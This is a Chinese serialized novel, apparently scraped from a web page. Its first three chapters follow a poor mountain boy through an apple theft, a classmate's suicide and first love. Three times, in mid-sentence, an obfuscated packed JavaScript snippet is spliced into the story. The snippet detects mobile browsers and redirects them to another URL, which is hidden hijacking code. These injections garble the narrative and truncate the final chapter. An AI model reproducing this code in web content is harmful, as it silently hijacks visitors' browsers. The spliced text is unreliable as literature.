《《半生债》》 1. 《半生债》上卷 第一章 债起少年 《半生债》上卷·第一章债起少年 山是卷起来的，水是叠起来的。秦岭的皱褶深处，藏着商南。 风从岩缝里漏出来，带着水汽的冷。雨下得细，下得久，把瓦房、石板路都浸成青灰色。雾是常客，清晨从丹江爬上来，到了黄昏还赖在山腰，不肯走。 王霖的家就在这皱褶的最深处。黑龙山、云头山、双尖山、凤凰山，围成一个密不透风的瓮。出山的路像瓮口裂开的一道缝，陡，窄，抬头只能看见一线天。 --- 初中在二十里外的镇上。 每星期日下午，母亲吴秀莲都会搬出那只酱色的陶瓮，蹲在灶房的门槛边。她先把腌萝卜条一层层码进去，压实了，撒一把粗盐；再铺上雪里蕻，再撒盐。最后，小心地压上五个玉米饼——饼里掺了麦麸，硬，掰开了直掉渣。这是他七天的口粮。 学校的玉米粥稀，清得能照见碗底的青花。两大碗灌下去，不过两泡尿的功夫，胃里又空了。夜里常常饿醒。 通铺睡了十六个人，汗味、脚臭、潮湿的霉味混在一起。被子薄，冷风从墙缝里钻进来，嘶嘶地响。王霖缩着身子，能听见胃里像有只小手在抓，轻轻的，却不容忽视。 有时，旁边的被窝会窸窣一动。一只手从黑暗里伸过来，碰碰他的胳膊。是“老鼠”，睡他邻铺的瘦小同学。手心里是一小块干馒头，指鸡蛋那么大，同样冰硬。两人蒙进被窝，像真正的鼠，用门牙一点点啃，用唾沫慢慢地濡湿。吞咽的声音在夜里显得很响，他们为此屏住呼吸。 --- 王霖的手，年年冬天裂口子。写作业时，铅笔杆硌进肉里，钻心地疼。有同学从家里带了小火炉来——用废旧的洋瓷盆做的，沿边钻孔系上铁丝，下课了抡圆胳膊摔圈圈，风灌进去，火苗便呼呼地蹿起来。暖意溢出来，远远地也能沾着一点。他没有。 那天放学，他们几个结伴走山路回家。经过一处背阴的山坳，看见一座新坟。黄土还湿着，坟前摆着个搪瓷盆，白底蓝花，簇新。盆里纸钱的灰烬尚存。 “洋瓷盆。”一个伙伴低声说。 盆真亮，厚实。暮色沉沉地压下来，山影变得模糊。最胆大的那个走过去，端起来摩挲。 没人说话。王霖忽然抱起盆，转身就跑。山路崎岖，盆在怀里撞着肋骨，咚咚地响，像另一颗慌乱的心。 他们找来了铁丝，在盆沿烧红了钻孔，拧成提手。木柴火生起来，青烟直冒，抡上几圈，火苗终于蹿出来，映亮了几张脏污却兴奋的脸。 第四天深夜，王霖肚子疼了起来。他蜷成一只虾米，冷汗湿透了衬衣。母亲惊醒，用滚烫的手心抵着他的肚脐揉，嘴里念念有词。没用。她又端来一碗清水，拿来一把筷子和菜刀。将筷子立在碗中央，把水沿着筷子缓缓倒下去。筷子竟立住了。母亲继续念着……突然刀光一闪。筷子从碗里飞了出去。水洒了一地。 很奇怪，肚子不痛了。 父亲那几天在山外帮人抬石头垒堰，说好要五天才回。 天蒙蒙亮，王霖回学校说了这事。伙伴们都说，是那洋瓷盆惹的祸。王霖提起小火炉，去掉铁丝，瓷盆上留着那几个孔。他看着那些孔，愣住了。 田大壮告诉他：得赔纸钱，就用废旧作业本烧了当钱。再弄根桃木棍。要是赔了还痛，就用桃木棍抽打那坟墓。“看谁厉害！” 王霖依言照办……烧纸时他才发现，作文本最新一页批着鲜红的“甲上”，旁边还有一行小字：“情感真挚，可作范文。”他犹豫了片刻，还是撕下，点燃。 纸页蜷曲，变黑，火光照亮了坟前湿冷的土。他们低声念叨：“还您了，别怪我，也别来找麻烦，否则……我还有桃木棍……” 山风穿过松林，呜噜呜噜地响，像是应答。 肚子再也没痛过。不知是母亲的法术灵验，还是这笔债，算是还清了。 父亲回来时，盆的事早已过去。母亲没有提。若让他知道儿子动了坟前的东西，依他的性子，一顿结实的打是免不了的。 --- 王霖是班里学习最好的。语文尤其好，作文常被老师当范文念。 那次写《我的家乡》，他写门前的丹江：“江水绿得发黑，像老祖母压箱底的缎子袄面，摸着是凉的，可底下有暗流，有温度。”老师在讲台上念完，教室里很静。下课后，史小文经过他的课桌，脚步停了一瞬，轻声说：“你写得真好。”声音细细的，像风掠过纸页。 那是初三的秋天，苹果熟透了的季节。 一个寻常的夜晚，晚自习刚散，田大壮把几个男生聚到教室外的黑影里，声音压得很低，眼里闪着光：“县河水库后山，阳面坡上，林场的苹果园，果子熟透了，甜得很。夜里没人看……” “我都摸清了，”田大壮补充道，“看园子的老汉养了条大狼狗，凶得很。咱们得从背阴坡绕，手脚要轻，保管没问题。”他说得笃定。 王霖没有手电。他踌躇着，走到史小文面前。她正就着昏黄的油灯看课本，光晕柔和地勾勒着她的侧脸，睫毛投下浅浅的影子。 “我家里……有点事，”他听见自己的声音，喉咙有些发紧，“晚上得回去一趟。手电筒……能借我用用么？” 史小文抬起头。眼睛很亮，清澈地看了他两秒，没问什么。低下头，从书包里拿出手电，红布套子包着，边角已经磨得发白。她小心地褪下布套，才把冰凉的金属筒身递过来。 “谢谢。” “小心点。”她的声音很轻，几乎融进油灯爆开的噼啪声里。 --- 子夜，月隐星稀。 十几个黑影翻过学校后墙的豁口，田大壮打头，王霖在中间。山道像一条褪了色的黑布带，在手电筒微弱的光晕里向前延伸。田大壮再三交代：“手电光只准朝天上照，或者只照脚下三寸地，谁要是平射暴露了，回去有他好看！” 于是，光柱都成了短短的一截，惶惶地指着地面，或刺向漆黑的夜空。露水打湿了裤脚，冰凉地贴在皮肤上。有人踩滑了，咕咚一声闷响，前面立刻传来田大壮压低的呵斥：“找死啊！轻点！” 走了一个多时辰，灌木丛越来越密。田大壮示意大家趴下，匍匐前进。荆棘扯着衣服和皮肉，火辣辣地疼。爬上一道缓坡，拨开最后一片带刺的灌木——果园赫然出现在下方背阴的洼地里。 没有月光，但隐约能看见树的轮廓，低矮，却异常茂密。一股浓郁得化不开的、熟透苹果的甜香，混着夜晚草木的清冷气，扑面而来。所有人都咽了口唾沫。 田大壮第一个滑下坡去。低声道：“快！摘大的、红的！别弄出动静！” 他们像一群沉默的鬼魅，溜进果树之间。手指触到冰凉光滑的果皮，轻轻一扭，“啵”的一声轻响，沉甸甸的果实便落入手心。那饱满的、实在的手感，让人心跳加速。王霖摘得很仔细，专挑向阳一侧、红透了的果子，放进带来的布袋。很快，袋子就变得沉实起来。 寂静中，只有窸窸窣窣的采摘声和粗重的喘息。偶尔，远处水库的方向传来几声模糊的狗吠，所有人立刻僵住，屏息。等狗吠停了，才又继续。 不知过了多久，田大壮发出撤退的信号。每人都已满载，布袋、网兜、卷起的外套里塞满了苹果。撤退比来时更需小心，因为负重，脚步更沉。 翻回缓坡时，王霖回头看了一眼夜色中的果园。黑黢黢的，像一头被掏空了秘密的巨兽。 --- 回程的路因胜利而显得轻快了些，尽管肩膀被勒得生疼。有人开始低声说笑，畅想着如何享用这些“战利品”。终于，在天将破晓前，他们回到了学校所在的镇子。大门紧锁，不敢叫。田大壮想起厕所旁有个供人掏粪进出的偏门，一丝希望升起——然而那扇小门，也挂上了一把崭新的铁锁。 空气凝固了。 “撞开！”田大壮一咬牙，“反正天快亮了，被发现也是迟早的事！” 几个壮实的少年用肩膀撞向那扇老旧的木门板。“砰！砰！”门板剧烈地摇晃。“一起！用全力！” 第三次撞击，“嘎啦啦——轰！”一声巨响，门轴断裂，整扇门向内轰然倒塌。那响声在黎明前死寂的空气里，如同惊雷。 几乎在同一瞬间——全校每一间屋舍的灯，“唰”地全亮了！刺眼的光芒把周围照得如同白昼。 尖锐的哨声撕裂空气，杂沓的脚步声从四面八方涌来，呵斥声炸开：“抓贼！偷苹果的贼！别放跑一个！” 少年们魂飞魄散，轰然四散。有的扑向旁边的山林，有的慌不择路跳进了旱厕旁的粪坑边。王霖脑子一片空白，死死抱着那袋苹果，连滚带爬钻进水泥乒乓球台底下，蜷缩着，屏住呼吸。 几分钟后，一双解放鞋停在了石台边。一只粗糙的大手伸进来，抓住他的脚踝，猛地将他拽了出来！ 强光手电直射他的眼睛。他什么也看不见了。 --- 被拽进一间空屋，每人被迫跪在地上，嘴里咬一个苹果，两手各举一个，头顶也顶一个。“跪直了！好好反省！”稍有晃动，屁股上就挨一脚。 教导主任一瘸一拐地走来，左脚裹着纱布，渗着暗红的血渍。他脸色铁青，声音因愤怒和疼痛而扭曲：“说！还有谁？谁是主谋？手电筒是哪来的？！” --- 天亮了，铅灰的云层低垂，晨雾带着砭骨的寒意。全校师生被紧急集合到操场上，黑压压一片。 王霖和几个“主犯”被推到土台前，脖子上用细麻绳吊着好几串偷来的苹果，沉甸甸地往下坠。他们被迫深深弯下腰，低着头，摆出“认罪”的姿势。 史小文被单独叫到了土台的侧边。 她孤零零地站在那里，低着头，脸色惨白，身子微微发抖。教导主任指着她，声音通过生锈的铁皮喇叭被放大、变形：“同学们都看清楚了！史小文！表面上文文静静，思想深处藏着什么？她把手电筒借给这些小偷！她忘了学校和老师是怎么教育她的！” 每一句话都像鞭子，抽打在凝滞的空气里。王霖想大喊，想说手电是他骗来的，史小文什么都不知道！但他发不出任何声音。只能从低垂的视线边缘，看见史小文那双洗得发白的蓝布鞋，看见大颗大颗的泪珠，急促地砸在鞋前的黄土上，洇开一个个深色的圆点。那细弱的抽噎声，穿透人群的寂静和喇叭刺耳的声响，钻进他的耳朵，比勒在脖子上的绳子更让他窒息。 台下的人群死寂。表情各异——懵懂、恐惧、漠然、同情、还有隐隐的亢奋。但无人出声，无人质疑。 后来他们才知道，是没参与行动的侯亮告的密。教导主任追捕他们时，一脚踩上门板翘起的锈铁钉，铁钉穿透泡沫拖鞋，深深扎进了脚掌。 --- 第二天，他们被勒令将“赃物”如数送回。脸色铁青的青年教师押着队伍，用借来的板车载着那些已经磕碰、萎蔫的苹果，走向漫长的山路。 山路崎岖，车绳勒进掌心的破口里，每拉一步都钻心地疼。经过一片茂密的狼牙刺丛时，押送的老师转身点烟。王霖心猛地一跳，几乎没犹豫，用尽力气从麻袋深处扯出一小包用塑料袋裹着的苹果——十几个，奋力扔进了荆棘的最深处。 看守果园的老汉蹲在窝棚口抽着旱烟，眯眼打量着这群垂头丧气的“小贼”，用烟杆敲了敲脚边同样垂头丧气的大黄狗：“日怪！老汉我守了半辈子园子，这狗也养了五六年，临了叫你们这群碎娃给耍了！” --- 傍晚到家，他背着空书包，怀里却揣着那几个侥幸残存、沾着泥土草汁的苹果。父亲王老根正在院里劈柴，斧头起落，发出沉闷有力的响声。 他迟疑地挪过去，声音干涩：“大（爸）……同学家……给的。” 王老根停下斧头，转过身来。斑白的鬓角挂着汗珠。他的目光掠过儿子红肿的眼皮、躲闪的眼神，落在那几个颜色黯淡的苹果上。他伸手捏起一个，凑到眼前仔细看了看，又放到鼻下深深地嗅了嗅。然后，什么也没说，将苹果放回儿子手心，转身继续劈柴。 咔嚓。木头应声裂开。 晚饭时，母亲将苹果洗净，削去磕碰腐烂的部分，切成小块，盛在粗瓷碗里。油灯下，一家人沉默地分食。那一点稀罕的甜味，从每个人的唇齿间弥漫开去，弥散在整个昏暗而温暖的房间里。 --- 几天后的一个黄昏，父亲从镇上卖完山货回来。他径直走过去，一把揪住王霖的后衣领，像拖一袋粮食似的，将他拖到院子中央。 没有质问，没有怒吼。他沉默地走向柴垛，抽出一根鸡蛋粗细、被烟火熏得黑亮的青冈木棍。 接下来是风声。是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196342|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木棍划破空气的短促呜咽。 王霖被按趴在冰冷的条凳上，咬紧了下唇，嘴里泛开血腥的铁锈味。他将所有的呜咽、辩解、史小文砸在地上的眼泪、台下那无数道目光，都死死地封锁镇压下去。剧痛在臀腿上炸开，蔓延，火辣之后是肿胀麻木的灼热。 此后许多天，他只能别扭地挪步，趴着睡觉。 他和史小文之间，那点青涩的、从未说破的情感，也就此断了声响。他们是同班同学，小文个子高，坐在教室最后一排，王霖个子矮，坐在第一排。以前，每次王霖回头时，常发现小文在看着他笑。两只眼睛忽闪忽闪，亮晶晶的，嘴角因为开心，向两边轻轻拉开。他分不清是自己总回头看她，还是她总在看他。 偷苹果的事情发生后，他们再没有说过一句话。每次狭路相逢，她都迅速地低下头，而他，也不敢再回头。 后来，王霖考上了商南县最好的高中——商南县高级中学。小文没考上。王霖高二那年，听说小文嫁人了，嫁到了山外。他暗然神伤了许久。忧郁像一层薄雾，笼罩了他好几个月。之后再没听到小文任何消息。许多年后，在某个毫无预兆的瞬间，他忽然发现，那个笑起来眼睛亮晶晶的姑娘，还在心里。一直在那里，从未走远，也从未改变，还是那么好看，那么清纯，那么安静。 --- 初中临近毕业的最后一个月，王霖的中考预选成绩是全班第三。他把整个心思收了回来，每天早起一个小时背诵英语单词，晚睡两个小时，做那些不知老师从哪里弄来的、堆积如山的中考测试卷。他只希望能考上一个好中专，早点就业，早点赚钱，早点走出这些大山。 七月的山里，早上总是有散不开的雾。初中校园坐落在群山脚下，一条河，河道很宽，急匆匆地从校门前流过。因为河床落差大，河水总是咆哮着，像一群拥挤又兴奋的孩子，嬉闹着，叫喊着向前奔涌。雨季时经常发洪水，河水在拐弯处冲击出一个又一个深不见底的、墨绿色的水潭。 小华，是他最知心的朋友，初二就辍学回家了。他把走出大山的希望，寄托在了王霖身上。王霖也答应小华，自己一定能考上中专。从此，王霖总能收到小华路过学校时，悄悄给自己留下的一双袜子，或者几张皱皱巴巴、浸着汗渍的毛票……小华成了王霖求学路上，唯一且沉默的赞助者。 这个夏天，还有一个女孩，像一支鹿。懵懵懂懂的闯进我的记忆。三十年后，王氏依然历历在目。。。。。 那是一个早晨，雾很大。王霖在校门前的那条小河边，他手捧着书本，低着头，朗朗的读书声试图盖过河水奔腾的喧嚣。那时的他记性真好，一天能背下八十个单词，一周后检验，还能记住六十多个。 突然，他感觉身后伸过来一双手。手里颤巍巍地拿着一封信。那封信，像一片落叶，轻轻地飘落在了他手捧着的书本上。他吃了一惊，继而心跳如鼓，满面通红。。。。。。 他抬起头，只看到一个娇小而美丽的身影，像一只受惊的小鹿，从他前面一晃而过，消失在浓雾里。他下意识地合上书本，环视四周。还好，没有被人发现。他急忙打开书页，拿出那封信，揣进裤兜。裤兜里有个破洞，他紧紧攥着这封信，像是抓着一只拼命挣扎的野兔。 不知道为什么，他忽然拔腿向学校跑去，一口气跑回宿舍，麻利地打开自己小木箱上的锁，把这封信塞进了箱子最底层。这天早上，他忘了去食堂打饭。一整天浑浑噩噩。直到晚上下了晚自习，他才悄悄打开箱子，拿出那封信，紧紧抓住塞回裤兜，一路小跑，潜入公共厕所墙边那个发着幽暗微光的灯泡下。 信封里是一张信纸，第一句就是：“亲爱的霖：我已经喜欢你很久了，一直不敢告诉你……还有一个月你就要飞走了。我知道你的学习那么好，一定能考上的！我预选成绩不好，我不想上高中。我想补习，我要考上你考上的那所中专……勿忘我，等我！爱你的小夏。” 王霖一口气看完，面红耳热。信封里还有一张彩色的一寸照片，是小夏的。 接下来的一周，王霖再也没去河边背诵英语单词了。上课时总是魂不守舍。他知道，李小夏是个活泼美丽的女孩，父亲是学校的教职工，管着食堂。平常，他只敢偷偷地看她一眼，唯恐被她发现。同学们也常用一种复杂的、夹杂着羡慕的眼光，看着她活蹦乱跳、叽叽喳喳的样子。 很快，班主任闫老师发现了异样，很郑重地把王霖叫到自己的办公室，语重心长：“你家里是不是出了什么事？马上要中考了，这关系到你一生的命运转折呀……”他什么也没说，从老师房间出来时，头垂得很低很低。 第三天，他去校门口的小门市部，买了一个薄薄的笔记本。怀着难以言状的心情，在第一页写下一首诗……然后，悄悄把这个笔记本放进了小夏课桌的抽屉里。 后来，他只记得那首诗的最后两句：“皮之不存，毛将焉附。” 再后来，在他高二那一年，突然发现她竟然在自己同一所高中上学。这是商南县高级中学，全县唯一的重点高中，据说也是省重点。他们都没能如愿考上中专，还是向命运低下了头，选择了继续读高中…… 这次偶然相遇，双方都笑了，笑得很尴尬。再后来，王霖考上大学，离开这座小县城，去了西安。自此，他们再未见面，再未联系，像是两个断了线的风筝，消失在各自的天际。 --- 许多年后，在异乡无数个无关的瞬间——酒醒的深夜、穿过陌生城市漫长的隧道、偶然闻到苹果清洗后散发出的微酸气息时——那股复杂的记忆总会不期而至： 苹果的脆甜，冷汗的咸腥，铁钉的锈涩，棍子落在皮肉上的闷响，父亲手中青冈木棍的干燥苦味，以及……史小文的泪水，砸入尘土时那无声却惊心的样子。 所有这些，混杂，沉淀，最终结晶成他生命最初、也最沉重的一课——关于渴望与禁忌、得到与代价、个人与规则、无心之失与连锁罪责的，混沌而真实的启蒙。 那时，他正攀爬在出山的那根细绳上，满眼只是前方朦胧的“未来”亮光。山风浩荡贯耳，他却听不懂那风声里呜咽的谶语，也看不清命运早已在云端之上，用无形之笔，为他半生的漂泊与挣扎，签下了一纸必须亲身偿还的—— 债。 --- 本章完 4200字 2. 《半生债》上卷·第二章 雾锁东岗 《半生债》·第二章雾锁东岗 县高的早晨，是从墨黑中渗出的读书声开始的。 声音从凤凰山未褪的夜色里浮起，在商南县高级中学的每一个角落低回。先是零星的音节，试探着撞在青石板上，随即汇成潮水——教学楼的窗口、操场的老梧桐下、后山通往松林的小径。所有声响在黎明寒气中发酵，将整座东岗托举成一座悬浮的、嗡鸣的蜂巢。 王霖是蜂巢里最沉默的那只工蜂。他的时间被折叠成一张浸透汗渍的纸：凌晨五点半，他在院墙外山脚的冷雾中背《逍遥游》，呵出的白气混入未散尽的夜霭；午间二十分钟，他蹲在锅炉房后的煤堆旁，就着蒸馒头的热气默写化学键，煤灰悄悄落在翻毛的鞋面上；深夜熄灯后，手电筒的光圈是他唯一的岛屿，圈住一页页英文，直到眼皮沉重如铅。 在这里，个人的窘迫被一种庞大的集体亢奋稀释了。东岗之上，衡量的标尺只有一种：月考红榜上蠕动的名次。他穿着肘部磨出毛边的衣服，嚼着食堂最便宜的清水萝卜，感到自己像这艘巨轮上一个微末的划桨手，所有人埋头，对抗同一种名为“命运”的暗流。 他精神的缝隙里，卡着一本卷了边的《平凡的世界》。孙少平在黄原城头揽工，在煤矿井下攫取光明……那些远方的、粗粝的苦难，竟奇异地镇痛着他自身的贫瘠。仿佛书页间那个清瘦的影子，正走在他前头十几里的山路上，替他探着路的虚实。 高三那年的春天来得迟疑。预选放榜后，空气里掺进了一种新的物质，不仅仅是恐惧，还有一种接近终点前的虚脱与茫然。 那个周日下午，他去了刘晓军的出租屋。 屋子蜷在一条窄巷尽头，像大山一道深深的褶皱。一张木板床，一张摇晃的桌子，一个塞满复习资料的旧木箱，几乎就是全部。晓军是他同班，也是补习生，这是第三年。他家兄弟三人，两个哥哥都从这东岗上考了出去，成了山里的传奇，也成了钉在他脊梁上的碑。预选成绩贴在斑驳的墙上，他的名字，挂在悬崖边。 那天下午，晓军显得异样平静。他说累，想睡会儿。王霖看见他眼底那圈浓得化不开的青黑，话便咽了回去。屋里满是旧纸和灰尘的味道，阳光从巴掌大的窗户斜射进来，光柱里尘埃无声飞舞。王霖感到一阵同谋般的沉重疲惫，没走，在晓军那张窄硬的板床上和衣躺下，竟沉沉睡去。 醒来时，暮色已如冷茶，灌满了小屋。晓军坐在桌前，就着最后的天光，看一本边缘磨毛了的地图册。听到动静，他转过头，笑了笑：“醒了？你睡得真沉。”那笑容很淡，像隔着一层毛玻璃。 王霖有些窘，抹了把脸。“你该叫醒我。” “难得。”晓军合上图册，指尖无意识地摩挲着省份的轮廓，“走吧，该上晚自习了。” 回校的路很短。他们聊着无关紧要的事：一道刁钻的物理题，食堂咸菜里终于见了油星。在校门口那棵老槐树下分开时，晓军忽然伸手，很轻地拍了下他的肩。 “走了。好好考。” 他的背影消失在涌入教学楼的人流里，单薄，平静，与往常别无二致。 那是王霖最后一次看见活着的刘晓军。 晚自习是试卷的沙沙声织成的厚茧。下课铃像一把钝刀割开茧壳，人群泻出。王霖收拾得慢，落在后头。刚踏出教学楼，清冷的夜气扑面而来—— “砰！” 一声闷响。不高，却极沉、极实，像一袋浸透的沙土，从至高之处，毫无征兆地砸向水泥地面。 世界的声响被瞬间抽空。紧接着，一声短促而非人的尖叫，锐利地刺破这真空。 人群僵住一秒，随即如同受惊的蚁群，朝着声音的源头——教学楼前那片种着月季的花坛涌去，又在几步之外猝然刹住，形成一个颤抖的、紧缩的包围圈。 王霖被裹挟着向前推。脑子里有个荒谬的声音在说：谁的书包掉了？ 他看见了。 花坛边缘，深色的人形，以一种决绝而扭曲的姿势，瘫在地上。更深的颜色，在昏暗路灯光下，沉默而迅速地洇开，沿着水泥地的缝隙，爬向一株未开的月季。 他认出了那件衣服。那件洗得发白、袖口永远挽着的蓝色运动服。 胃部猛地痉挛。眼前炸开一片黑斑，耳内轰响，盖过了一切尖叫、哭泣、呕吐和老师嘶哑的驱赶。有人粗暴地拽开他，世界颠簸晃动。 警车来了，蓝红的光撕裂了东岗的夜。黄色警戒线拉起，在风里飘摇，圈出一块无法理解的空白。 那一夜，宿舍楼死寂，却又仿佛回荡着几百颗心脏疯狂擂打胸腔的闷响。无人入睡。 消息在第二天清晨，随雾气渗进每个角落：高三（七）班，刘晓军，补习第三年，预选失利，从教学楼楼顶跳下。。。。。。 凤凰山依旧苍翠，丹江依旧东流，但东岗之上，有些东西永久地变了。早读的声浪低了八度，如同哀歌。走廊里相遇的目光迅速弹开，像触碰到了冰。老师讲课的声音时常断裂，望着某个空出来的座位，怔忡失语。 学校反应迅速得近乎仓皇。心理讲座、动员大会……一场接一场。话语漂浮在礼堂上空，落不进年轻人被恐惧和悲凉冻结的心湖。那层厚重的、苦涩的雾，似乎被搅动了一些，但寒意已钻入地底，侵入每场梦境。 几天后，班主任将一封信默默放在王霖课桌上。是从出租屋找到的，叠得方正。 “王霖兄：见字时，我应已得解脱。莫骂我懦，实是力竭，双腿如陷淤泥，抬不动了。试过多次，那线如山，我翻不过。愧对父母，愧对兄长，更愧对己身。我那床板硬，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196343|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日下午，你却睡得沉，也好。你定能考出去，连我那一份。别走我的路。晓军绝笔。” 字迹工整，力透纸背。王霖盯着那些字，它们开始蠕动、溶解。他咬紧牙关，下颌酸疼，眼眶却不受控制地烫起来，涨起来。他抬手去擦，湿意却汹涌溃堤，滚烫地砸在信纸上，将“解脱”二字氤成一团模糊的灰影。 他请了假，随人去送晓军回山。晓军的父亲，一个和王老根一样被山风雕蚀得干瘦的老汉，在村口接到棺木时，没有哭喊。他只是扑上去，用树皮般的手掌，一遍遍擦拭棺盖上并不存在的尘土，喉咙里发出“嗬嗬”的、破风箱般的声音。母亲已全然垮塌，被人搀着，眼神空茫，只反复喃喃：“我儿……考不上就家来……家来呀……” 唢呐声在苍翠的山谷里呜咽，调子吹得七零八落。新坟垒起，小小的土包，在连绵的青山脚下，像一个微不足道的句点。王霖觉得，埋下去的不仅是晓军，还有某种关于“奋斗”本身的、曾经坚定不移的信仰。 回到东岗，已是几日后的黄昏。他没有回教室，独自走上横跨丹江的大桥。 江水浑黄，平静地吞噬着夕阳最后一缕金晖，也吞没了所有哭声与言语。对岸县城灯火渐起，勾勒出一个他即将前往的、模糊的“未来”。身后，东岗隐入暮色，凤凰山巨大的黑影沉默匍匐，山上又多了一座新坟。 他第一次如此清晰地看见，横亘在他与未来之间的，并非仅是知识的阶梯。还有一种更庞大、更无形之物。它如这脚下江水，可载舟倾舟；如这巍巍东岗，给你登攀的指望，也予你坠落的深渊。 晓军的死，像一枚冰冷的楔子，钉进了“天道酬勤”的叙事表层，让他窥见了其下纵横的、沉默的脉络。这不只是一个人的陨落。这是一种“债”。是家庭倾其所有的投资，是时代列车轰鸣向前的裹挟，是自己对自己许下不容失败的诺言。晓军用生命，结清了他的账。而王霖感到，自己肩头的账簿，墨迹未干，数字才刚刚开始累加。 山风从凤凰山的隘口涌来，带着林涛与江水的气息，浩荡扑过桥面。这一次，风声里的呜咽有了具体的形状：是晓军父亲擦棺的“嗬嗬”声，是母亲无望的“家来”，是信纸上被泪水泡皱的工整笔画，是那日下午，出租屋里，尘埃在光柱中寂静飞舞的模样。 他握住桥上冰凉的铁栏，用力，直到指骨发白，痛感尖锐。 这痛楚让他确认自己尚在人间。债主栩栩，前路迢迢。 只是怀里那本《平凡的世界》，重量似乎不同了。孙少平的苦，隔着纸页，尚可共鸣取暖。而晓军的血，就溅落在他必经的路口，温热，刺目，永难擦拭。它让所有的诗与远方，都坠上了一块沉甸甸的、名为真实的石头。 --- 第二章完 ｜ 字数：约2800字 3. 《半生债》上卷·第三章 雨伞 《半生债》上卷·第三章雨伞 高二那年，王霖的成绩像山间溪流，起伏不定。高一尚在级部前五十名内闪着微光，转眼便滑落到百名开外，沉入一片更密集、更沉默的名字之中。那光，似乎黯淡下去了。 变化发生在一个多雨的季节。 雨是秦岭的常客，尤其是王霖的家所在的曹营乡。乡域有两条河，一条来自西北群山，一条出自东北山岭，无数沟壑里的泉水汇集起来，在山民的脚板底下奔流。两河交汇处，蹲着灰扑扑的乡政府。王霖的家，还要往东北向的山褶里更深地走上许久，那儿叫三岔河村。 从三岔河到乡里的初中，是二十里山路；从三岔河到县城的商南县高级中学，是翻倍的路程。每个周末的往返，是八十里山道用脚步丈量出的循环。去时怀揣母亲准备的干粮与期望，归时背负一周的疲惫与未完的习题。山路蜿蜒，却并不总是孤寂。常常能遇到三三两两同样背着书包的同学，男孩女孩，说笑着，将漫长的路途切割成一段段轻盈的时光。那些日子，确如草叶上的晨露，在记忆的晨曦里闪着短暂而纯净的光。 其中一个女孩，叫小琴。家在他上学必经的路旁，比他低一届，高一。相遇是寻常的，同路而行也是山乡学子里最寻常的互助。直到那个午后。 路走到一半，天阴了下来，随即雨点便毫无征兆地砸下，起初疏落，很快就连成了线，织成了幕。王霖没带伞，正犹豫是否要冒雨狂奔，一顶小小的、印着细碎花布的小伞，悄无声息地举过他的头顶。 “一起吧。”小琴的声音混在雨声里，清脆。 伞真小。在风里雨中可怜地飘摇着，像一片固执的叶子。伞柄自然到了王霖手里，他举着，感觉到那微薄的重量和庇护。一朵小小的、移动的云，晃荡在两人头顶不足尺许的天空下。雨水击打着伞布，噼啪作响，世界被隔绝在外，伞下自成一方微微潮湿的、带着女孩发间淡淡香皂气息的天地。 她说着学校里的趣事，笑声清脆，偶尔侧头看他，眼里有安静的笑意，像雨雾中山涧忽然跃起的光。王霖有些无措，农村孩子骨子里的钝感与羞涩让他手脚都不知如何安置。他不敢靠近，脊背僵直，半边身子很快便湿透了，冰凉的布料贴在皮肤上，他却浑然不觉，只觉得脸颊耳根阵阵发热。 路，从未如此短过。县高灰色的围墙和威严的大门轮廓，在雨幕中突兀地显现出来。 雨似乎也知趣地小了些。 王霖像从一场短暂的迷梦中惊醒，猛地意识到环境的转换。他害怕被人看见，害怕那些无端的窃窃私语，急忙收了伞，塞回小琴手中，声音干涩而匆促：“谢谢！” 说罢，转身就要逃离这片让他心慌的柔软。 “王霖，等一下。” 声音不大，却像一根线，绊住了他的脚步。他回过头。 小琴走近几步，没打伞，细雨瞬间沾湿了她的刘海。她的眼睛，那双忽闪忽闪的、此刻格外清亮的眼睛，在他身上仔细地“扫描”着。王霖顺着她的目光低头，才发现自己左侧的衣衫早已湿透，紧贴着身体，雨水正顺着裤脚往下滴，在脚下的泥地上洇开一小片深色。而她，在那一方小伞的庇护下，几乎仍是清清爽爽的。 时间仿佛粘稠了，停滞了几秒。他看见小琴的眼里，那清澈的波光急速地晃动起来，聚成了点点晶莹，就要滚落。 他慌了，笨拙地摆手，语无伦次：“没事，真没事！亏了你的伞，不然我……我早成落汤鸡了，一根干毛都不剩……” 话未说完。 小琴忽然上前一步，伸出手臂，轻轻地、却紧紧地拥抱了他。 那是王霖生平第一次，被一个如此清纯、带着雨后青草气息的女孩拥抱。世界的声音——雨声、远处的车声、隐约的人声——骤然退去。只剩下胸膛间擂鼓般的心跳，不知是他的，还是她的；只剩下透过湿冷衣物传来的、属于另一个生命的、真实而温暖的体温。 时间被拉得很长，长到足以烙印一生；其实又很短，不过三五次心跳的间隙。 像触了电，又像惊醒了某种禁忌，两人同时猛地松开，弹簧般向后弹开一小步。小琴的脸红得像染了最艳的霞，她什么也没说，抓起那把小花伞，转身就跑，纤细的身影很快没入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 